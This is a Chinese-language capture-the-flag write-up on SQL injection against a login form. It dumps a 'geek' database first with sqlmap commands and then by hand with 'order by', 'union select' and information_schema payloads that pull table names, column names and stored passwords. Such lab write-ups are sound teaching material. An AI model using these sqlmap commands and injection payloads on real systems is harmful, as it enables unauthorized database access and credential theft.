目录
既然提示了sqlmap那就先用工具跑一遍吧
sqlmap
我是用sqlmap跑喜欢先抓包然后放在文件里然后运行
- 有的网站会验证user-agent如果要改的话方便,不然就得在用sqlmap跑的时候加上--user-agent 再把信息填上
- 验证cookie也是同理,不然就得在用sqlmap跑的时候加上--cookie 再把信息填上
- 比如:Sqlmap.py -u "" --cookie="" --user-agent="" --batch --dbs
点击登录抓包,我一般喜欢把包放在桌面上命名为1.txt比较方便
移动到desktop是应为文件1.txt在桌面
- -r指定文件-u是指定url
- -p是指定要传参的数据(在username传输数据)
- --batch是自动跑
- --dbs是查找数据库 -D是指定数据库
- --tables是查找表 -T是指定表
- --columns是查找字段 -C是指定字段
- --dump是查找数据
拿到数据库了继续测试geek数据库跑出表
sqlmap.py -r 1.txt -p username --batch --dbs
拿到字段,查看l0ve1ysq1字段
sqlmap.py -r 1.txt -p username --batch -D geek --tables
找到flag
sqlmap.py -r 1.txt -p username --batch -D geek -T l0ve1ysq1 --dump
手工注入
尝试万能密码找到了注入点
接下来判断字段
payload: 'order by 1-- asd(数字一个一个增加测试)
总共四个字段
尝试报错注入
查看注入点
payload: 'union select 1,2,3 -- ads
注入点是2和3
查看数据库
payload:'union select 1,database(),3 -- ads
- 还可以查数据库系统 version
- 数据库用户 user
- 操作系统 @@version_compile_os
查表
payload: 'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="geek"-- asd
- group_concat 将table_name做成组一起查看出来
- information_schema.tables是读书与mysql的数据库里面有mysql里所有的数据表信息除此意外还有information_schema.columns存储了所有的字段信息information_schema.shemata存储了所有的数据库信息
- where table_schema=geek 指定数据库为geek
查字段
payload: 'union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"-- asd
最后爆数据
payload: 'union select 1,group_concat(password),3 from l0ve1ysq1-- asd
获得flag
应为有点乱看起来,查看源代码获得flag